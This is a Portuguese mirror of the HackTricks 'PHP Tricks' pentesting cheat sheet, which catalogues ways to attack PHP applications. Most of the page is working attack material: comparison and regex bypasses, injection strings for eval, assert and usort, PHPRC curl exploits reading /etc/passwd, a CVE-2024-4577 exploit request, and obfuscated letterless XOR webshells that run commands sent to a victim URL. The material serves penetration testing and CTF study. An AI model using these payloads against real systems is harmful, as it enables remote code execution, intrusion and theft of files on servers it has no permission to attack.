mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-18 17:16:10 +00:00
484 lines
25 KiB
Markdown
484 lines
25 KiB
Markdown
# PHP Tricks
|
|
|
|
{% hint style="success" %}
|
|
Aprenda e pratique Hacking AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Aprenda e pratique Hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
<figure><img src="../../..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
|
|
|
{% embed url="https://websec.nl/" %}
|
|
|
|
## Localização comum de Cookies:
|
|
|
|
Isso também é válido para cookies do phpMyAdmin.
|
|
|
|
Cookies:
|
|
```
|
|
PHPSESSID
|
|
phpMyAdmin
|
|
```
|
|
Localizações:
|
|
```
|
|
/var/lib/php/sessions
|
|
/var/lib/php5/
|
|
/tmp/
|
|
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
|
|
```
|
|
## Bypassing PHP comparisons
|
|
|
|
### Loose comparisons/Type Juggling ( == )
|
|
|
|
Se `==` for usado em PHP, então há casos inesperados onde a comparação não se comporta como esperado. Isso ocorre porque "==" só compara valores transformados para o mesmo tipo, se você também quiser comparar se o tipo dos dados comparados é o mesmo, você precisa usar `===`.
|
|
|
|
Tabelas de comparação PHP: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
|
|
|
|
![](<../../../.gitbook/assets/image (567).png>)
|
|
|
|
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
|
|
|
|
* `"string" == 0 -> True` Uma string que não começa com um número é igual a um número
|
|
* `"0xAAAA" == "43690" -> True` Strings compostas por números em formato dec ou hex podem ser comparadas a outros números/strings com True como resultado se os números forem os mesmos (números em uma string são interpretados como números)
|
|
* `"0e3264578" == 0 --> True` Uma string começando com "0e" e seguida de qualquer coisa será igual a 0
|
|
* `"0X3264578" == 0X --> True` Uma string começando com "0" e seguida de qualquer letra (X pode ser qualquer letra) e seguida de qualquer coisa será igual a 0
|
|
* `"0e12334" == "0" --> True` Isso é muito interessante porque em alguns casos você pode controlar a entrada da string "0" e algum conteúdo que está sendo hashado e comparado a ela. Portanto, se você puder fornecer um valor que criará um hash começando com "0e" e sem nenhuma letra, você poderá contornar a comparação. Você pode encontrar **strings já hashadas** com esse formato aqui: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
|
* `"X" == 0 --> True` Qualquer letra em uma string é igual a int 0
|
|
|
|
Mais informações em [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
|
|
|
|
### **in\_array()**
|
|
|
|
**Type Juggling** também afeta a função `in_array()` por padrão (você precisa definir o terceiro argumento como true para fazer uma comparação estrita):
|
|
```php
|
|
$values = array("apple","orange","pear","grape");
|
|
var_dump(in_array(0, $values));
|
|
//True
|
|
var_dump(in_array(0, $values, true));
|
|
//False
|
|
```
|
|
### strcmp()/strcasecmp()
|
|
|
|
Se esta função for usada para **qualquer verificação de autenticação** (como verificar a senha) e o usuário controlar um lado da comparação, ele pode enviar um array vazio em vez de uma string como o valor da senha (`https://example.com/login.php/?username=admin&password[]=`) e contornar essa verificação:
|
|
```php
|
|
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
|
|
// Real Password
|
|
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
|
|
// Real Password
|
|
```
|
|
O mesmo erro ocorre com `strcasecmp()`
|
|
|
|
### Manipulação Estrita de Tipos
|
|
|
|
Mesmo que `===` esteja **sendo usado**, pode haver erros que tornam a **comparação vulnerável** à **manipulação de tipos**. Por exemplo, se a comparação **estiver convertendo os dados para um tipo diferente de objeto antes de comparar**:
|
|
```php
|
|
(int) "1abc" === (int) "1xyz" //This will be true
|
|
```
|
|
### preg\_match(/^.\*/)
|
|
|
|
**`preg_match()`** pode ser usado para **validar a entrada do usuário** (ele **verifica** se alguma **palavra/regex** de uma **lista negra** está **presente** na **entrada do usuário** e, se não estiver, o código pode continuar sua execução).
|
|
|
|
#### Bypass de nova linha
|
|
|
|
No entanto, ao delimitar o início da regexp, `preg_match()` **verifica apenas a primeira linha da entrada do usuário**, então, se de alguma forma você puder **enviar** a entrada em **várias linhas**, você poderá contornar essa verificação. Exemplo:
|
|
```php
|
|
$myinput="aaaaaaa
|
|
11111111"; //Notice the new line
|
|
echo preg_match("/1/",$myinput);
|
|
//1 --> In this scenario preg_match find the char "1"
|
|
echo preg_match("/1.*$/",$myinput);
|
|
//1 --> In this scenario preg_match find the char "1"
|
|
echo preg_match("/^.*1/",$myinput);
|
|
//0 --> In this scenario preg_match DOESN'T find the char "1"
|
|
echo preg_match("/^.*1.*$/",$myinput);
|
|
//0 --> In this scenario preg_match DOESN'T find the char "1"
|
|
```
|
|
Para contornar essa verificação, você pode **enviar o valor com novas linhas urlencoded** (`%0A`) ou, se puder enviar **dados JSON**, enviá-los em **várias linhas**:
|
|
```php
|
|
{
|
|
"cmd": "cat /etc/passwd"
|
|
}
|
|
```
|
|
Encontre um exemplo aqui: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
|
|
|
|
#### **Bypass de erro de comprimento**
|
|
|
|
(Este bypass foi aparentemente testado no PHP 5.2.5 e eu não consegui fazê-lo funcionar no PHP 7.3.15)\
|
|
Se você puder enviar para `preg_match()` uma **entrada** **muito grande** válida, ele **não conseguirá processá-la** e você poderá **burlar** a verificação. Por exemplo, se estiver bloqueando um JSON, você poderia enviar:
|
|
```bash
|
|
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
|
```
|
|
From: [https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0](https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0)
|
|
|
|
#### Bypass ReDoS
|
|
|
|
Truque de: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) e [https://mizu.re/post/pong](https://mizu.re/post/pong)
|
|
|
|
<figure><img src="../../../.gitbook/assets/image (26).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Em resumo, o problema ocorre porque as funções `preg_*` no PHP se baseiam na [biblioteca PCRE](http://www.pcre.org/). No PCRE, certas expressões regulares são correspondidas usando muitas chamadas recursivas, o que consome muito espaço na pilha. É possível definir um limite na quantidade de recursões permitidas, mas no PHP esse limite [padrão é 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), que é mais do que cabe na pilha.
|
|
|
|
[Este tópico do Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) também foi vinculado na postagem onde se fala mais detalhadamente sobre esse problema. Nossa tarefa agora estava clara:\
|
|
**Enviar uma entrada que fizesse a regex realizar 100\_000+ recursões, causando SIGSEGV, fazendo a função `preg_match()` retornar `false`, assim fazendo a aplicação pensar que nossa entrada não é maliciosa, surpreendendo no final do payload algo como `{system(<verybadcommand>)}` para obter SSTI --> RCE --> flag :)**.
|
|
|
|
Bem, em termos de regex, na verdade não estamos fazendo 100k "recursões", mas sim contando "passos de retrocesso", que como a [documentação do PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) afirma, o padrão é 1\_000\_000 (1M) na variável `pcre.backtrack_limit`.\
|
|
Para alcançar isso, `'X'*500_001` resultará em 1 milhão de passos de retrocesso (500k para frente e 500k para trás):
|
|
```python
|
|
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
|
|
```
|
|
### Manipulação de Tipos para Ofuscação em PHP
|
|
```php
|
|
$obfs = "1"; //string "1"
|
|
$obfs++; //int 2
|
|
$obfs += 0.2; //float 2.2
|
|
$obfs = 1 + "7 IGNORE"; //int 8
|
|
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
|
|
$obfs = 3+2 * (TRUE + TRUE); //int 7
|
|
$obfs .= ""; //string "7"
|
|
$obfs += ""; //int 7
|
|
```
|
|
## Execute After Redirect (EAR)
|
|
|
|
Se o PHP estiver redirecionando para outra página, mas nenhuma função **`die`** ou **`exit`** for **chamada após o cabeçalho `Location`** ser definido, o PHP continua executando e anexando os dados ao corpo:
|
|
```php
|
|
<?php
|
|
// In this page the page will be read and the content appended to the body of
|
|
// the redirect response
|
|
$page = $_GET['page'];
|
|
header('Location: /index.php?page=default.html');
|
|
readfile($page);
|
|
?>
|
|
```
|
|
## Exploração de Path Traversal e Inclusão de Arquivos
|
|
|
|
Verifique:
|
|
|
|
{% content-ref url="../../../pentesting-web/file-inclusion/" %}
|
|
[file-inclusion](../../../pentesting-web/file-inclusion/)
|
|
{% endcontent-ref %}
|
|
|
|
## Mais truques
|
|
|
|
* **register\_globals**: Em **PHP < 4.1.1.1** ou se mal configurado, **register\_globals** pode estar ativo (ou seu comportamento está sendo imitado). Isso implica que em variáveis globais como $\_GET, se tiverem um valor, por exemplo, $\_GET\["param"]="1234", você pode acessá-lo via **$param. Portanto, ao enviar parâmetros HTTP, você pode sobrescrever variáveis** que são usadas dentro do código.
|
|
* Os **cookies PHPSESSION do mesmo domínio são armazenados no mesmo lugar**, portanto, se dentro de um domínio **cookies diferentes são usados em caminhos diferentes**, você pode fazer com que um caminho **acesse o cookie do caminho** definindo o valor do cookie do outro caminho.\
|
|
Dessa forma, se **ambos os caminhos acessarem uma variável com o mesmo nome**, você pode fazer com que o **valor dessa variável em path1 se aplique a path2**. E então path2 considerará válidos as variáveis de path1 (dando ao cookie o nome que corresponde a ele em path2).
|
|
* Quando você tem os **nomes de usuário** dos usuários da máquina. Verifique o endereço: **/\~\<USERNAME>** para ver se os diretórios php estão ativados.
|
|
* [**LFI e RCE usando wrappers php**](../../../pentesting-web/file-inclusion/)
|
|
|
|
### password\_hash/password\_verify
|
|
|
|
Essas funções são tipicamente usadas em PHP para **gerar hashes a partir de senhas** e para **verificar** se uma senha está correta em comparação com um hash.\
|
|
Os algoritmos suportados são: `PASSWORD_DEFAULT` e `PASSWORD_BCRYPT` (começa com `$2y$`). Note que **PASSWORD\_DEFAULT é frequentemente o mesmo que PASSWORD\_BCRYPT.** E atualmente, **PASSWORD\_BCRYPT** tem uma **limitação de tamanho na entrada de 72bytes**. Portanto, quando você tenta hash algo maior que 72bytes com este algoritmo, apenas os primeiros 72B serão usados:
|
|
```php
|
|
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
|
False
|
|
|
|
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
|
True
|
|
```
|
|
### HTTP headers bypass abusando de erros PHP
|
|
|
|
#### Causando erro após definir cabeçalhos
|
|
|
|
A partir de [**este thread do twitter**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19) você pode ver que enviando mais de 1000 parâmetros GET ou 1000 parâmetros POST ou 20 arquivos, o PHP não vai definir cabeçalhos na resposta.
|
|
|
|
Permitindo contornar, por exemplo, cabeçalhos CSP sendo definidos em códigos como:
|
|
```php
|
|
<?php
|
|
header("Content-Security-Policy: default-src 'none';");
|
|
if (isset($_GET["xss"])) echo $_GET["xss"];
|
|
```
|
|
#### Preenchendo um corpo antes de definir cabeçalhos
|
|
|
|
Se uma **página PHP está imprimindo erros e ecoando de volta alguma entrada fornecida pelo usuário**, o usuário pode fazer com que o servidor PHP imprima de volta algum **conteúdo longo o suficiente** para que, ao tentar **adicionar os cabeçalhos** na resposta, o servidor lance um erro.\
|
|
No cenário a seguir, o **atacante fez o servidor lançar alguns erros grandes**, e como você pode ver na tela, quando o PHP tentou **modificar as informações do cabeçalho, não conseguiu** (então, por exemplo, o cabeçalho CSP não foi enviado ao usuário):
|
|
|
|
![](<../../../.gitbook/assets/image (1085).png>)
|
|
|
|
## SSRF em funções PHP
|
|
|
|
Verifique a página:
|
|
|
|
{% content-ref url="php-ssrf.md" %}
|
|
[php-ssrf.md](php-ssrf.md)
|
|
{% endcontent-ref %}
|
|
|
|
## Execução de código
|
|
|
|
**system("ls");**\
|
|
**\`ls\`;**\
|
|
**shell\_exec("ls");**
|
|
|
|
[Verifique isso para mais funções PHP úteis](php-useful-functions-disable\_functions-open\_basedir-bypass/)
|
|
|
|
### **RCE via** **preg\_replace()**
|
|
```php
|
|
preg_replace(pattern,replace,base)
|
|
preg_replace("/a/e","phpinfo()","whatever")
|
|
```
|
|
Para executar o código no argumento "replace" é necessário pelo menos uma correspondência.\
|
|
Esta opção do preg\_replace foi **descontinuada a partir do PHP 5.5.0.**
|
|
|
|
### **RCE via Eval()**
|
|
```
|
|
'.system('uname -a'); $dummy='
|
|
'.system('uname -a');#
|
|
'.system('uname -a');//
|
|
'.phpinfo().'
|
|
<?php phpinfo(); ?>
|
|
```
|
|
### **RCE via Assert()**
|
|
|
|
Esta função dentro do php permite que você **execute código que está escrito em uma string** para **retornar verdadeiro ou falso** (e dependendo disso alterar a execução). Normalmente, a variável do usuário será inserida no meio de uma string. Por exemplo:\
|
|
`assert("strpos($_GET['page']),'..') === false")` --> Neste caso, para obter **RCE** você poderia fazer:
|
|
```
|
|
?page=a','NeVeR') === false and system('ls') and strpos('a
|
|
```
|
|
Você precisará **quebrar** a **sintaxe** do código, **adicionar** seu **payload** e então **corrigi-lo novamente**. Você pode usar **operações lógicas** como "**and" ou "%26%26" ou "|"**. Note que "or", "||" não funciona porque se a primeira condição for verdadeira, nosso payload não será executado. Da mesma forma, ";" não funciona, pois nosso payload não será executado.
|
|
|
|
**Outra opção** é adicionar à string a execução do comando: `'.highlight_file('.passwd').'`
|
|
|
|
**Outra opção** (se você tiver o código interno) é modificar alguma variável para alterar a execução: `$file = "hola"`
|
|
|
|
### **RCE via usort()**
|
|
|
|
Esta função é usada para ordenar um array de itens usando uma função específica.\
|
|
Para abusar desta função:
|
|
```php
|
|
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
|
|
VALUE: );phpinfo();#
|
|
|
|
<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
|
|
```
|
|
|
|
```php
|
|
<?php
|
|
function foo($x,$y){
|
|
usort(VALUE, "cmp");
|
|
}?>
|
|
VALUE: );}[PHP CODE];#
|
|
|
|
<?php
|
|
function foo($x,$y){
|
|
usort();}phpinfo;#, "cmp");
|
|
}?>
|
|
```
|
|
Você também pode usar **//** para comentar o restante do código.
|
|
|
|
Para descobrir o número de parênteses que você precisa fechar:
|
|
|
|
* `?order=id;}//`: recebemos uma mensagem de erro (`Parse error: syntax error, unexpected ';'`). Provavelmente estamos perdendo um ou mais colchetes.
|
|
* `?order=id);}//`: recebemos um **aviso**. Isso parece certo.
|
|
* `?order=id));}//`: recebemos uma mensagem de erro (`Parse error: syntax error, unexpected ')' i`). Provavelmente temos colchetes de fechamento demais.
|
|
|
|
### **RCE via .httaccess**
|
|
|
|
Se você pode **fazer upload** de um **.htaccess**, então você pode **configurar** várias coisas e até executar código (configurando que arquivos com extensão .htaccess podem ser **executados**).
|
|
|
|
Diferentes shells .htaccess podem ser encontrados [aqui](https://github.com/wireghoul/htshells)
|
|
|
|
### RCE via Variáveis de Ambiente
|
|
|
|
Se você encontrar uma vulnerabilidade que permite **modificar variáveis de ambiente no PHP** (e outra para fazer upload de arquivos, embora com mais pesquisa talvez isso possa ser contornado), você poderia abusar desse comportamento para obter **RCE**.
|
|
|
|
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Esta variável de ambiente permite que você carregue bibliotecas arbitrárias ao executar outros binários (embora neste caso possa não funcionar).
|
|
* **`PHPRC`** : Instruções para o PHP sobre **onde localizar seu arquivo de configuração**, geralmente chamado `php.ini`. Se você puder fazer upload do seu próprio arquivo de configuração, então, use `PHPRC` para apontar o PHP para ele. Adicione uma entrada **`auto_prepend_file`** especificando um segundo arquivo enviado. Este segundo arquivo contém código **PHP normal, que é então executado** pelo tempo de execução do PHP antes de qualquer outro código.
|
|
1. Faça upload de um arquivo PHP contendo nosso shellcode
|
|
2. Faça upload de um segundo arquivo, contendo uma diretiva **`auto_prepend_file`** instruindo o pré-processador PHP a executar o arquivo que enviamos na etapa 1
|
|
3. Defina a variável `PHPRC` para o arquivo que enviamos na etapa 2.
|
|
* Obtenha mais informações sobre como executar essa cadeia [**do relatório original**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
|
|
* **PHPRC** - outra opção
|
|
* Se você **não puder fazer upload de arquivos**, você poderia usar no FreeBSD o "arquivo" `/dev/fd/0` que contém o **`stdin`**, sendo o **corpo** da solicitação enviada para o `stdin`:
|
|
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
|
|
* Ou para obter RCE, habilite **`allow_url_include`** e prepend um arquivo com **código PHP em base64**:
|
|
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
|
|
* Técnica [**desse relatório**](https://vulncheck.com/blog/juniper-cve-2023-36845).
|
|
|
|
### XAMPP CGI RCE - CVE-2024-4577
|
|
|
|
O servidor web analisa solicitações HTTP e as passa para um script PHP executando uma solicitação como [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar\&ref=labs.watchtowr.com) como `php.exe cgi.php foo=bar`, o que permite uma injeção de parâmetro. Isso permitiria injetar os seguintes parâmetros para carregar o código PHP do corpo:
|
|
```jsx
|
|
-d allow_url_include=1 -d auto_prepend_file=php://input
|
|
```
|
|
Além disso, é possível injetar o parâmetro "-" usando o caractere 0xAD devido à normalização posterior do PHP. Confira o exemplo de exploit [**neste post**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/):
|
|
```jsx
|
|
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
|
|
Host: {{host}}
|
|
User-Agent: curl/8.3.0
|
|
Accept: */*
|
|
Content-Length: 23
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Connection: keep-alive
|
|
|
|
<?php
|
|
phpinfo();
|
|
?>
|
|
|
|
```
|
|
## PHP Sanitization bypass & Brain Fuck
|
|
|
|
[**Neste post**](https://blog.redteam-pentesting.de/2024/moodle-rce/) é possível encontrar ótimas ideias para gerar um código PHP brain fuck com muito poucos caracteres permitidos.\
|
|
Além disso, também é proposta uma maneira interessante de executar funções que permitiram contornar várias verificações:
|
|
```php
|
|
(1)->{system($_GET[chr(97)])}
|
|
```
|
|
## Análise estática de PHP
|
|
|
|
Veja se você consegue inserir código em chamadas para essas funções (de [aqui](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)):
|
|
```php
|
|
exec, shell_exec, system, passthru, eval, popen
|
|
unserialize, include, file_put_cotents
|
|
$_COOKIE | if #This mea
|
|
```
|
|
Se você está depurando uma aplicação PHP, pode habilitar globalmente a impressão de erros em `/etc/php5/apache2/php.ini` adicionando `display_errors = On` e reiniciar o apache: `sudo systemctl restart apache2`
|
|
|
|
### Deobfuscação de código PHP
|
|
|
|
Você pode usar o **web**[ **www.unphp.net**](http://www.unphp.net) **para deobfuscar código php.**
|
|
|
|
## Wrappers e Protocolos PHP
|
|
|
|
Wrappers e protocolos PHP podem permitir que você **bypasse proteções de escrita e leitura** em um sistema e o comprometa. Para [**mais informações, consulte esta página**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
|
|
|
|
## RCE não autenticada do Xdebug
|
|
|
|
Se você ver que **Xdebug** está **habilitado** na saída de `phpconfig()`, você deve tentar obter RCE via [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)
|
|
|
|
## Variáveis variáveis
|
|
```php
|
|
$x = 'Da';
|
|
$$x = 'Drums';
|
|
|
|
echo $x; //Da
|
|
echo $$x; //Drums
|
|
echo $Da; //Drums
|
|
echo "${Da}"; //Drums
|
|
echo "$x ${$x}"; //Da Drums
|
|
echo "$x ${Da}"; //Da Drums
|
|
```
|
|
## RCE abusando de novo $\_GET\["a"]\($\_GET\["b")
|
|
|
|
Se em uma página você pode **criar um novo objeto de uma classe arbitrária**, você pode ser capaz de obter RCE, verifique a página a seguir para aprender como:
|
|
|
|
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %}
|
|
[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
|
|
{% endcontent-ref %}
|
|
|
|
## Execute PHP sem letras
|
|
|
|
[https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/)
|
|
|
|
### Usando octal
|
|
```php
|
|
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
|
|
```
|
|
### **XOR**
|
|
```php
|
|
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
|
|
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
|
|
$___=$__; #Could be not needed inside eval
|
|
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
|
|
```
|
|
### Código de shell fácil XOR
|
|
|
|
De acordo com [**este artigo**](https://mgp25.com/ctf/Web-challenge/), é possível gerar um shellcode fácil desta forma:
|
|
```php
|
|
$_="`{{{"^"?<>/"; // $_ = '_GET';
|
|
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
|
|
|
|
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
|
|
```
|
|
Então, se você pode **executar PHP arbitrário sem números e letras**, você pode enviar uma solicitação como a seguinte, abusando desse payload para executar PHP arbitrário:
|
|
```
|
|
POST: /action.php?_=system&__=cat+flag.php
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
|
|
```
|
|
Para uma explicação mais detalhada, consulte [https://ctf-wiki.org/web/php/php/#preg\_match](https://ctf-wiki.org/web/php/php/#preg\_match)
|
|
|
|
### Shellcode XOR (dentro de eval)
|
|
```bash
|
|
#!/bin/bash
|
|
|
|
if [[ -z $1 ]]; then
|
|
echo "USAGE: $0 CMD"
|
|
exit
|
|
fi
|
|
|
|
CMD=$1
|
|
CODE="\$_='\
|
|
```
|
|
|
|
```php
|
|
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
|
|
```
|
|
|
|
```php
|
|
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
|
|
```
|
|
### Perl like
|
|
```php
|
|
<?php
|
|
$_=[];
|
|
$_=@"$_"; // $_='Array';
|
|
$_=$_['!'=='@']; // $_=$_[0];
|
|
$___=$_; // A
|
|
$__=$_;
|
|
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
|
|
$___.=$__; // S
|
|
$___.=$__; // S
|
|
$__=$_;
|
|
$__++;$__++;$__++;$__++; // E
|
|
$___.=$__;
|
|
$__=$_;
|
|
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
|
|
$___.=$__;
|
|
$__=$_;
|
|
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
|
|
$___.=$__;
|
|
|
|
$____='_';
|
|
$__=$_;
|
|
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
|
|
$____.=$__;
|
|
$__=$_;
|
|
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
|
|
$____.=$__;
|
|
$__=$_;
|
|
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
|
|
$____.=$__;
|
|
$__=$_;
|
|
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
|
|
$____.=$__;
|
|
|
|
$_=$$____;
|
|
$___($_[_]); // ASSERT($_POST[_]);
|
|
```
|
|
<figure><img src="../../..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
|
|
|
{% embed url="https://websec.nl/" %}
|
|
|
|
{% hint style="success" %}
|
|
Aprenda e pratique Hacking AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Aprenda e pratique Hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
|
|
|
</details>
|
|
{% endhint %}
|